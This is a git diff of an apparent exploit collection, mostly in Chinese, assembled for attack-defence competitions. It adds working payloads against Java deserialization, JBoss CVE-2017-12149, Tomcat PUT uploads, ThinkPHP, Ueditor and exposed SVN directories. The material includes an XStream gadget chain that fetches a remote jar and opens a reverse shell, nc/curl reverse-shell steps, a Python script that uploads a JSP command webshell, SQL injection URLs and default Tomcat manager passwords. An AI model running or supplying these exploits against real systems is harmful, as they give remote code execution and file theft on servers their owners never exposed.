return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
|
||||
}
|
||||
catch (Exception e){
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
|
||||
return "\nData deserialized!\n";
|
||||
}
|
||||
|
||||
public String deserialize(InputStream is){
|
||||
|
||||
ObjectInputStream ois = null;
|
||||
|
||||
try{
|
||||
ois = new ObjectInputStream(is);
|
||||
}catch (EOFException e){
|
||||
e.printStackTrace();
|
||||
return "\nThe request body not contains a Stream!\n";
|
||||
} catch (Exception e) {
|
||||
return e.toString()+"\n";
|
||||
}
|
||||
|
||||
try {
|
||||
// This cast simulate what occurs in a real server
|
||||
int number = (Integer) ois.readObject();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
} catch (ClassNotFoundException e) {
|
||||
return "\nSerialized class not found in classpath\n";
|
||||
} catch (ClassCastException e){
|
||||
e.printStackTrace();
|
||||
} catch (IncompleteAnnotationException e){
|
||||
e.printStackTrace();
|
||||
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
|
||||
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
|
||||
return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
|
||||
}
|
||||
catch (Exception e){
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
return "\nData deserialized!\n";
|
||||
}
|
||||
|
||||
public String deserializeXStream(String xml){
|
||||
|
||||
Class classXStream = null;
|
||||
Class classDomDriver = null;
|
||||
Class classHierarchicalStreamDriver = null;
|
||||
//Class classJsonHierarchicalStreamDriver = null;
|
||||
|
||||
try {
|
||||
|
||||
classHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.HierarchicalStreamDriver");
|
||||
//classJsonHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver");
|
||||
classXStream = Class.forName("com.thoughtworks.xstream.XStream");
|
||||
classDomDriver = Class.forName("com.thoughtworks.xstream.io.xml.DomDriver");
|
||||
|
||||
//Constructor ctrJsonDriver = classJsonHierarchicalStreamDriver.getDeclaredConstructor();
|
||||
Constructor ctrDomDriver = classDomDriver.getDeclaredConstructor();
|
||||
Constructor ctrXStream = classXStream.getDeclaredConstructor(classHierarchicalStreamDriver);
|
||||
|
||||
Object domDriverInstance = ctrDomDriver.newInstance();
|
||||
//Object jsonDriverInstance = ctrJsonDriver.newInstance();
|
||||
Object xstreamInstance = ctrXStream.newInstance(domDriverInstance);
|
||||
|
||||
//Desativado json...
|
||||
//if (xml.startsWith("<"))
|
||||
//xstreamInstance = ctrXStream.newInstance(domDriverInstance);
|
||||
//else
|
||||
// xstreamInstance = ctrXStream.newInstance(jsonDriverInstance);
|
||||
|
||||
Method m = xstreamInstance.getClass().getMethod("fromXML", String.class);
|
||||
m.invoke(xstreamInstance, xml);
|
||||
|
||||
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
return "\nXStream lib not found in classpath. You must add \"xstream-1.4.6.jar\" in -cp param. Ex: \n" +
|
||||
"java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableServer\n\n";
|
||||
} catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return "\nError deserializing XML...\n";
|
||||
}
|
||||
|
||||
return "\nXML deserialized!\n";
|
||||
}
|
||||
|
||||
public byte[] decryptAES(String object, String aesKey){
|
||||
|
||||
byte[] iv = new byte[16];
|
||||
String algorithmName = "AES";
|
||||
|
||||
byte[] cipherText = null;
|
||||
byte[] plainTextWithIV = null;
|
||||
byte[] plainText = null;
|
||||
byte[] key = null;
|
||||
|
||||
try {
|
||||
// first decode object from base64
|
||||
cipherText = new BASE64Decoder().decodeBuffer(object);
|
||||
// use the same harded code key from apache shino
|
||||
key = new BASE64Decoder().decodeBuffer(aesKey);
|
||||
|
||||
} catch (Exception e) { e.printStackTrace(); return null; }
|
||||
|
||||
try {
|
||||
|
||||
IvParameterSpec ivSpec = new IvParameterSpec(iv);
|
||||
Key keySpec = new SecretKeySpec(key, algorithmName);
|
||||
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
|
||||
cipher.init(Cipher.DECRYPT_MODE, keySpec,ivSpec);
|
||||
// decrypt ciphertext and put the IV in the header
|
||||
plainTextWithIV = cipher.doFinal(cipherText);
|
||||
// remove the iv from header of plaintext in order to deserialize it later
|
||||
plainText = new byte[plainTextWithIV.length - iv.length];
|
||||
System.arraycopy(plainTextWithIV, iv.length, plainText, 0, plainText.length);
|
||||
return plainText;
|
||||
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
@ -0,0 +1,67 @@
|
||||
<!--
|
||||
Payload com gadget chain para carregar e executar uma classe remota
|
||||
(hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
|
||||
do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
|
||||
a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
|
||||
Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
|
||||
o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
|
||||
de um LazyMap decorado com a ChainedTransformers.
|
||||
|
||||
Esse XML pode ser usado para validação/exploração de sistemas que realizam a
|
||||
desserialização usando o XStream. O propósito é unica e exclusivamente DIDATICO!
|
||||
NAO utilize em sistemas que você não tenha autorização!
|
||||
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* https://github.com/joaomatosf/JavaDeserH2HC
|
||||
* @joaomatosf
|
||||
-->
|
||||
<set>
|
||||
<org.apache.commons.collections.keyvalue.TiedMapEntry>
|
||||
<map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
|
||||
<unserializable-parents/>
|
||||
<org.apache.commons.collections.map.LazyMap>
|
||||
<default>
|
||||
<factory class="org.apache.commons.collections.functors.ChainedTransformer">
|
||||
<iTransformers>
|
||||
<org.apache.commons.collections.functors.ConstantTransformer>
|
||||
<iConstant class="java-class">java.net.URLClassLoader</iConstant>
|
||||
</org.apache.commons.collections.functors.ConstantTransformer>
|
||||
<org.apache.commons.collections.functors.InstantiateTransformer>
|
||||
<iParamTypes>
|
||||
<java-class>[Ljava.net.URL;</java-class>
|
||||
</iParamTypes>
|
||||
<iArgs>
|
||||
<url-array>
|
||||
<url>http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar</url>
|
||||
</url-array>
|
||||
</iArgs>
|
||||
</org.apache.commons.collections.functors.InstantiateTransformer>
|
||||
<org.apache.commons.collections.functors.InvokerTransformer>
|
||||
<iMethodName>loadClass</iMethodName>
|
||||
<iParamTypes>
|
||||
<java-class>java.lang.String</java-class>
|
||||
</iParamTypes>
|
||||
<iArgs>
|
||||
<string>JexReverse</string>
|
||||
</iArgs>
|
||||
</org.apache.commons.collections.functors.InvokerTransformer>
|
||||
<org.apache.commons.collections.functors.InstantiateTransformer>
|
||||
<iParamTypes>
|
||||
<java-class>java.lang.String</java-class>
|
||||
<java-class>int</java-class>
|
||||
</iParamTypes>
|
||||
<iArgs>
|
||||
<string>YOUR_BOX_IP</string>
|
||||
<int>PORT_LISTENING</int>
|
||||
</iArgs>
|
||||
</org.apache.commons.collections.functors.InstantiateTransformer>
|
||||
</iTransformers>
|
||||
</factory>
|
||||
</default>
|
||||
<map/>
|
||||
</org.apache.commons.collections.map.LazyMap>
|
||||
</map>
|
||||
<key class="string">foo</key>
|
||||
</org.apache.commons.collections.keyvalue.TiedMapEntry>
|
||||
</set>
|
12
JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/README.md
Normal file
@ -0,0 +1,12 @@
|
||||
# JbossAS 5.x/6.x反序列化远程命令执行漏洞(CVE-2017-12149)
|
||||
* Github[https://github.com/joaomatosf/JavaDeserH2HC](https://github.com/joaomatosf/JavaDeserH2HC)
|
||||
* [https://access.redhat.com/security/cve/cve-2017-12149](https://access.redhat.com/security/cve/cve-2017-12149)
|
||||
* 工具GUI[http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip](http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip)
|
||||
## 漏洞利用
|
||||
1: `javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java`
|
||||
|
||||
2: `java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port` //反弹shell的IP和端口,然后会生成一个ReverseShellCommonsCollectionsHashMap.ser文件
|
||||
|
||||
3: 打开另外一个终端并且nc开始设置的反弹shell的IP
|
||||
|
||||
4: `curl 网址/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser`
|
@ -9,3 +9,9 @@
|
||||
4. Thinkphp RCE [https://github.com/helloexp/0day](https://github.com/helloexp/0day/tree/master/Thinkphp)
|
||||
5. Windows RCE [https://github.com/smgorelik/Windows-RCE-exploits](https://github.com/smgorelik/Windows-RCE-exploits)
|
||||
6. shiro 发序列化 [https://github.com/helloexp/0day/tree/master/shiro](https://github.com/helloexp/0day/tree/master/shiro)
|
||||
|
||||
## 为什么发起这个项目?
|
||||
几个月前,我参加了一场AWD攻防比赛,发现提前收集POC对比赛有好处而且在收集这些 `payload` 的同时,也能学到许多东西.
|
||||
## 问题反馈
|
||||
在使用中有任何问题,欢迎反馈给我,可以直接发起 PR或issue
|
||||
|
||||
|
BIN
ThinkPHP/ThinkPHP_v5.0.10-v3.2.3/1.png
Normal file
After Width: | Height: | Size: 18 KiB |
BIN
ThinkPHP/ThinkPHP_v5.0.10-v3.2.3/2.png
Normal file
After Width: | Height: | Size: 42 KiB |
18
ThinkPHP/ThinkPHP_v5.0.10-v3.2.3/README.md
Normal file
@ -0,0 +1,18 @@
|
||||
# ThinkPHP 3.2.3 缓存漏洞
|
||||
* [https://bbs.pediy.com/thread-220375.htm](https://bbs.pediy.com/thread-220375.htm)
|
||||
* [https://www.seebug.org/vuldb/ssvid-96340](https://www.seebug.org/vuldb/ssvid-96340)
|
||||
* 官方声明[http://www.thinkphp.cn/topic/51162.html](http://www.thinkphp.cn/topic/51162.html)
|
||||
## Usage:
|
||||
```
|
||||
%2F%2F%0D%0A payload = //+回车
|
||||
```
|
||||
### 换行导致payload逃逸出注释而执行
|
||||
|
||||

|
||||
## 修复
|
||||
`thinkphp\library\think\cache\driver\File.php`
|
||||
|
||||
`public function set($name, $value, $expire = null)`方法
|
||||
|
||||

|
||||
|
13
ThinkPHP/Thinkphp- 5.0.16/readme.md
Normal file
@ -0,0 +1,13 @@
|
||||
## Thinkphp框架 < 5.0.16 存在sql注入
|
||||
|
||||
### Reference
|
||||
|
||||
* https://paper.seebug.org/564/
|
||||
|
||||
-------------
|
||||
### poc
|
||||
|
||||
```
|
||||
ip/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
|
||||
```
|
||||
|
@ -1,4 +1,7 @@
|
||||
Apache-Tomcat-CVE-12615
|
||||
漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
|
||||
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
|
||||
虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/ windows下空格)来绕过了限制
|
||||
## Apache-Tomcat-CVE-12615
|
||||
|
||||
* 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
|
||||
|
||||
* 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法`(例如,将 readonly 初始化参数由默认值设置为 false)`,攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
|
||||
|
||||
* 虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性`(如Linux下可用/ windows下空格)`来绕过了限制
|
||||
|
@ -1,67 +1,31 @@
|
||||
#!/usr/bin/python
|
||||
# -*- coding: utf-8 -*-
|
||||
# ver 7.0.81已经验证
|
||||
|
||||
from pocsuite.net import req
|
||||
from pocsuite.poc import POCBase, Output
|
||||
from pocsuite.utils import register
|
||||
import random
|
||||
#! -*- coding:utf-8 -*-
|
||||
import httplib
|
||||
import sys
|
||||
import time
|
||||
|
||||
|
||||
class TestPOC(POCBase):
|
||||
name = "tomcat code execution"
|
||||
vulID = ''
|
||||
author = ['sebao']
|
||||
vulType = 'code execution'
|
||||
version = '1.0' # default version: 1.0
|
||||
references = ''
|
||||
desc = '''Tomcat代码执行漏洞'''
|
||||
|
||||
vulDate = ''
|
||||
createDate = '2017-9-20'
|
||||
updateDate = '2017-9-20'
|
||||
|
||||
appName = 'Apache Tomcat'
|
||||
appVersion = '7.0.0 - 7.0.79'
|
||||
appPowerLink = ''
|
||||
samples = []
|
||||
|
||||
def _attack(self):
|
||||
|
||||
result = {}
|
||||
return self._verify(self)
|
||||
|
||||
|
||||
|
||||
def _verify(self):
|
||||
'''verify mode'''
|
||||
result = {}
|
||||
a = random.randint(100000, 900000)
|
||||
b = random.randint(100000, 900000)
|
||||
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%out.println({0}+{1});%>''' .format(str(a),str(b))
|
||||
url = self.url
|
||||
resp = req.options(url+'/asda',timeout=10)
|
||||
if 'allow' in resp.headers and resp.headers['allow'].find('PUT') > 0:
|
||||
shell_url = url + "/" + str(int(time.time())) +'.jsp/'
|
||||
resp1=req.put(shell_url,body)
|
||||
print resp1.status_code
|
||||
resp2=req.get(shell_url[:-1])
|
||||
c = a + b
|
||||
|
||||
if resp1.status_code == 201 and str(c) in resp2.content:
|
||||
result['VerifyInfo'] = {}
|
||||
result['VerifyInfo']['URL'] = url
|
||||
|
||||
return self.parse_output(result)
|
||||
|
||||
def parse_output(self, result):
|
||||
output = Output(self)
|
||||
if result:
|
||||
output.success(result)
|
||||
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
|
||||
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
|
||||
try:
|
||||
conn = httplib.HTTPConnection(sys.argv[1])
|
||||
conn.request(method='OPTIONS', url='/ffffzz')
|
||||
headers = dict(conn.getresponse().getheaders())
|
||||
if 'allow' in headers and \
|
||||
headers['allow'].find('PUT') > 0 :
|
||||
conn.close()
|
||||
conn = httplib.HTTPConnection(sys.argv[1])
|
||||
url = "/" + str(int(time.time()))+'.jsp/'
|
||||
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
|
||||
conn.request( method='PUT', url= url, body=body)
|
||||
res = conn.getresponse()
|
||||
if res.status == 201 :
|
||||
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
|
||||
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
|
||||
elif res.status == 204 :
|
||||
print 'file exists'
|
||||
else:
|
||||
output.fail('Internet nothing returned')
|
||||
return output
|
||||
|
||||
|
||||
register(TestPOC)
|
||||
print 'error'
|
||||
conn.close()
|
||||
else:
|
||||
print 'Server not vulnerable'
|
||||
|
||||
except Exception,e:
|
||||
print 'Error:', e
|
@ -1,11 +0,0 @@
|
||||
Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下
|
||||
后台地址默认为 ip/manager/html
|
||||
|
||||
Tomcat5默认配置了两个角色:tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。
|
||||
Tomcat6默认没有配置任何用户以及角色,没办法用默认帐号登录。
|
||||
Tomcat7默认有tomcat用户 密码为tomcat 拥有直接部署war文件的权限 可以直接上马
|
||||
Tomcat8中正常安装的情况下默认没有任何用户,且manager页面只允许本地IP访问
|
||||
|
||||
|
||||
修复方案:
|
||||
Tomcat的用户配置文件tomcat-users.xml中进行修改
|
11
Tomcat/Tomcat-weekpassword.md
Normal file
@ -0,0 +1,11 @@
|
||||
## Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下
|
||||
后台地址默认为 `ip/manager/html`
|
||||
|
||||
* Tomcat5默认配置了两个角色:tomcat、role1。其中帐号为both、tomcat、role1的默认密码都是tomcat。
|
||||
* Tomcat6默认没有配置任何用户以及角色,没办法用默认帐号登录。
|
||||
* Tomcat7默认有tomcat用户 密码为tomcat 拥有直接部署war文件的权限 可以直接上马
|
||||
* Tomcat8中正常安装的情况下默认没有任何用户,且manager页面只允许本地IP访问
|
||||
|
||||
|
||||
修复方案:
|
||||
Tomcat的用户配置文件tomcat-users.xml中进行修改
|
12
Ueditor/Ueditor_.net_20180803/README.md
Normal file
@ -0,0 +1,12 @@
|
||||
# Ueditor .net GetShell
|
||||
|
||||
## POC
|
||||
|
||||
```html
|
||||
<form action="http://xxxxxxxxx/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
|
||||
<p>shell addr:<input type="text" name="source[]" /></p >
|
||||
<input type="submit" value="Submit" />
|
||||
</form>
|
||||
```
|
||||
**先上传一张包含asp木马的正常图片,之后在shell addr中填入该图片的地址并在末尾加入?.aspx,如xxx.jpg?.aspx,提交后即可getshell**
|
||||
## Enjoy
|
@ -1 +1 @@
|
||||
Usage : python struts2-045.py url cmd
|
||||
### `Usage : python struts2-045.py url cmd`
|
||||
|
@ -1 +1,2 @@
|
||||
目标站点需要存在struts2-showcase目录
|
||||
### 利用条件:
|
||||
* 目标站点需要存在struts2-showcase目录
|
||||
|
1
svn_file_disclosure/README.md
Normal file
@ -0,0 +1 @@
|
||||
### 新版本svn文件泄露 利用.svn目录下的`wc.db`来读取任意文件
|
35
svn_file_disclosure/svn_poc.py
Normal file
@ -0,0 +1,35 @@
|
||||
#coding=utf8
|
||||
import hackhttp
|
||||
import re
|
||||
import os
|
||||
import sys
|
||||
def GetFile(domain,Filename,sha1):
|
||||
hh = hackhttp.hackhttp()
|
||||
Url = domain+"/.svn/pristine/"+str(sha1)[0:2]+"/"+str(sha1)+".svn-base"
|
||||
a,b,c,d,e = hh.http(Url)
|
||||
fp = open(Filename,"w")
|
||||
fp.write(c)
|
||||
fp.close()
|
||||
if __name__ == '__main__':
|
||||
domain = sys.argv[1]
|
||||
i=0
|
||||
f = open("1.txt","r")
|
||||
while 1:
|
||||
i+=1
|
||||
print i
|
||||
line = f.readline()
|
||||
if not line:
|
||||
break
|
||||
else:
|
||||
dirs = "".join(re.findall(r'/dev/(.*?)\s',line))
|
||||
sha1 = "".join(re.findall(r'\$sha1\$(.*?)\s',line))
|
||||
Filename = "".join(re.findall(r'[^\\/:*?"<>|\r\n]+$',dirs))
|
||||
Dir = dirs.replace(Filename,"")
|
||||
if os.path.exists(Dir):
|
||||
pass
|
||||
else:
|
||||
os.makedirs(Dir)
|
||||
|
||||
if "." in dirs:
|
||||
GetFile(domain,dirs,sha1)
|
||||
f.close()
|